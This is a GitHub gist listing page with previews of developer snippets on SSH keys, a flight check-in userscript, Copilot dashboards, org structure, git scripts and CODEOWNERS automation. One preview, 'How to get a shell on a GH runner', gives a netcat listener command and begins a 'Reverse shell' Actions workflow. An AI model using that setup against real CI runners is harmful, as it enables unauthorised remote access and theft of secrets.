Skip to content

Instantly share code, notes, and snippets.

View joshjohanning's full-sized avatar
🐢
Out of office

Josh Johanning joshjohanning

🐢
Out of office
View GitHub Profile
@jexchan
jexchan / multiple_ssh_setting.md
Created April 10, 2012 15:00
Multiple SSH keys for different github accounts

Multiple SSH Keys settings for different github account

create different public key

create different ssh key according the article Mac Set-Up Git

$ ssh-keygen -t rsa -C "your_email@youremail.com"
@stormchasing
stormchasing / Auto Check-In to Southwest Flights.user.js
Last active May 22, 2025 00:52
Auto Check-In to Southwest Flights.user.js
// ==UserScript==
// @name Auto Check-In to Southwest Flights
// @namespace http://www.ryanizzo.com/southwest-auto-check-in/
// @version 1.8
// @author Nicholas Buroojy (http://userscripts.org/users/83813)
// @contributor Ryan Izzo (http://www.ryanizzo.com)
// @contributor JR Hehnly (http://www.okstorms.com @stormchasing)
// @contributor Trevor McClellan (github.com/trevormcclellan)
// @description Automatically check in to Southwest Airline flights at the appropriate time.
// @include https://www.southwest.com/air/check-in/index.html*
@ayodejiayodele
ayodejiayodele / copilot-metrics-dashboard-instructions.md
Last active May 6, 2025 19:47
Setup Instructions for GitHub Copilot Metrics Power BI Dashboard

Copilot Metrics Dashboard (Power BI Version)

This guide provides step-by-step instructions for deploying the Copilot Metrics Dashboard in your environment.

English | Español |

Setup Instructions

To use this report, ensure you have Power BI Desktop installed or access to the Power BI online service.

@whatupfoo
whatupfoo / 1-orgs-archetype.md
Last active May 2, 2025 12:02
Orgs and Teams Best Practices

Organization archetypes

The intention of this document is to provide some guidance and suggestions to customers who are wondering how they should structure organizations and teams in their GitHub Enterprise environment. The idea isn't to give hard and fast rules on which approach is better than the other, but to give examples of when one approach might be preferable to another depending on the use case.

1. A single organization with direct organization membership for repository access (not teams)

          ________________
          |     Org      |
          |    ______    |
          |   |      |\  |

| | Repo | \ |

@mzabriskie
mzabriskie / README.md
Last active April 22, 2025 17:57
Check git status of multiple repos

If you're like me you have a dir like ~/Workspace/Github where all your git repos live. I often find myself making a change in a repo, getting side tracked and ending up in another repo, or off doing something else all together. After a while I end up with several repos with modifications. This script helps me pick up where I left off by checking the status of all my repos, instead of having to check each one individually.

Usage:

git-status [directory]

This will run git status on each repo under the directory specified. If called with no directory provided it will default to the current directory.

@mikegrima
mikegrima / edit_brave_dictionary.md
Last active December 12, 2024 19:40
Edit Brave Browser Dictionary

Fix Brave Browser Dictionary

If you have ever mistakenly added a word to the Brave browser dictionary, you need to manually edit the Custom Dictionary.txt file.

As of March 2020, the Brave UI lacks a feature to do this.

Where is the file?

This will depend on your OS. Google for where this is on your OS.

The file on macOS is at: ~/Library/Application\ Support/BraveSoftware/Brave-Browser/Default/Custom\ Dictionary.txt.

Rewriting repository history

Sometimes history rewrites are required in order to migrate repositories into github.com. Several factors can dictate the need to rewrite history of a repository:

  • objects larger than 100Mb
  • commits larger than the 2GB push limit

Although rewriting history might not be required for your repository to migrate to github.com, you may consider rewriting history for several reasons:

  • migrate large objects to LFS
  • cleanup previous mistakes or bad practices that caused repo bloat
  • remove secrets from repo history
# given a bunch of folders which are years, and contents which are files of the form YYYY-mm-dd - name - $1234.56,
# this script returns a sum of totals by year
import os
totals = {}
for year in os.listdir('.'):
if os.path.isdir(year) and not year.startswith('.'):
total = 0

How to get a shell on a GH runner

Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:

nc -nvlp 1337

Then run the following workflow in GH actions:

name: Reverse shell
@1ARdotNO
1ARdotNO / addCodeowners.ps1
Last active April 26, 2023 00:59
add codeowners to github repo
param (
[Parameter(Mandatory = $true)] $repoName,
[Parameter(Mandatory = $true)] $teamName, #allows multiple teams speatated by comma
[Parameter(Mandatory = $true)] $orgName,
$CodeOwnerTeam, #allows multiple teams speatated by comma, use this to define what team has the rights to change the codeowners file itself
$branch, #if not specified default branch is used
[switch]$overwrite, #automatically overwrite the existing CODEOWNERS FILE
[switch]$addperms, #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS
[switch]$enablebranchprotectioncodeowners #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS
)